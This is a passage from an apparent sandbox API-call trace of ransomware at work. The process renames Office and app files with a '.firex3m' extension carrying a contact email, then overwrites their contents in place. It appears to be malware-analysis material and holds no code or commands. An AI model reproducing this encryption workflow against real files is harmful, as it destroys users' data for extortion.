dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.536] Sleep (dwMilliseconds=0x1) [0243.567] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl", len=0x78 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl") returned 1 [0243.567] GetProcessHeap () returned 0x630000 [0243.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb8) returned 0x6fe3bb0 [0243.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0243.633] CloseHandle (hObject=0x718) returned 1 [0243.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d51c0 [0243.634] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0243.635] GetProcessHeap () returned 0x630000 [0243.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x71803a8 [0243.635] GetProcessHeap () returned 0x630000 [0243.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x7188df8 [0243.635] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.635] ReadFile (in: hFile=0x718, lpBuffer=0x71803a8, nNumberOfBytesToRead=0x8a20, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x50fff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0249.757] GetProcessHeap () returned 0x630000 [0249.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0249.757] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.757] WriteFile (in: hFile=0x718, lpBuffer=0x7188df8*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7188df8*, lpNumberOfBytesWritten=0x50fff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0249.758] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.758] WriteFile (in: hFile=0x718, lpBuffer=0x7191817*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7191817*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.758] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.758] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.758] CloseHandle (hObject=0x718) returned 1 [0249.758] GetProcessHeap () returned 0x630000 [0249.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7188df8 | out: hHeap=0x630000) returned 1 [0249.759] GetProcessHeap () returned 0x630000 [0249.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0249.759] GetProcessHeap () returned 0x630000 [0249.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0249.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ad02767, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a4e, dwReserved0=0xa207496, dwReserved1=0x71803a0, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d4f40 [0249.759] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0249.759] Sleep (dwMilliseconds=0x1) [0254.729] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF", len=0x6c | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF") returned 1 [0254.729] GetProcessHeap () returned 0x630000 [0254.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d94) returned 0x6fe3bb0 [0254.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0254.730] CloseHandle (hObject=0x6a8) returned 1 [0254.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RADIAL~1.FIR")) returned 0x6d5380 [0254.732] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0254.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0254.732] GetProcessHeap () returned 0x630000 [0254.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7f70 [0254.732] GetProcessHeap () returned 0x630000 [0254.732] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0254.732] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.732] ReadFile (in: hFile=0x6a8, lpBuffer=0x6d7f70, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f70*, lpNumberOfBytesRead=0x50fff0c*=0x240, lpOverlapped=0x0) returned 1 [0254.735] GetProcessHeap () returned 0x630000 [0254.735] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0254.735] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.736] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d6db8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesWritten=0x50fff0c*=0x240, lpOverlapped=0x0) returned 1 [0254.736] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.736] WriteFile (in: hFile=0x6a8, lpBuffer=0x6d6ff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6ff7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.736] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.736] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.736] CloseHandle (hObject=0x6a8) returned 1 [0254.736] GetProcessHeap () returned 0x630000 [0254.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0254.736] GetProcessHeap () returned 0x630000 [0254.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7f70 | out: hHeap=0x630000) returned 1 [0254.736] GetProcessHeap () returned 0x630000 [0254.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0254.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dc83c42, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x50ffd20, dwReserved1=0x6d7f70, cFileName="RADIAL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RADIAL~1.FIR")) returned 0x6d51c0 [0254.737] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.737] Sleep (dwMilliseconds=0x1) [0254.747] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG", len=0x6c | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG") returned 1 [0254.747] GetProcessHeap () returned 0x630000 [0254.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d88) returned 0x6fe3bb0 [0254.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0254.747] CloseHandle (hObject=0x710) returned 1 [0254.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4ec0 [0255.013] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0255.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0255.014] GetProcessHeap () returned 0x630000 [0255.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9101) returned 0x70c500 [0255.014] GetProcessHeap () returned 0x630000 [0255.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9101) returned 0x717648 [0255.014] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.014] ReadFile (in: hFile=0x710, lpBuffer=0x70c500, nNumberOfBytesToRead=0x90e0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c500*, lpNumberOfBytesRead=0x50fff0c*=0x90e0, lpOverlapped=0x0) returned 1 [0258.746] GetProcessHeap () returned 0x630000 [0258.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0258.747] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.747] WriteFile (in: hFile=0x710, lpBuffer=0x717648*, nNumberOfBytesToWrite=0x90e0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x50fff0c*=0x90e0, lpOverlapped=0x0) returned 1 [0258.747] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.747] WriteFile (in: hFile=0x710, lpBuffer=0x720727*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x720727*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0258.747] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.748] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0258.748] CloseHandle (hObject=0x710) returned 1 [0258.748] GetProcessHeap () returned 0x630000 [0258.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0258.748] GetProcessHeap () returned 0x630000 [0258.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c500 | out: hHeap=0x630000) returned 1 [0258.748] GetProcessHeap () returned 0x630000 [0258.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0261.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x602d78d8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x911c, dwReserved0=0xa207496, dwReserved1=0x70c4f8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0261.070] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0261.070] Sleep (dwMilliseconds=0x1) [0261.082] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png", len=0x8e | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png") returned 1 [0261.082] GetProcessHeap () returned 0x630000 [0261.082] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cbc) returned 0x6fe3bb0 [0261.082] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.083] Sleep (dwMilliseconds=0x1) [0261.095] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF", len=0x6b | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF") returned 1 [0261.095] GetProcessHeap () returned 0x630000 [0261.095] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca0) returned 0x6fe3bb0 [0261.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0261.096] CloseHandle (hObject=0x4e0) returned 1 [0261.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.105] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0261.105] FindClose (in: 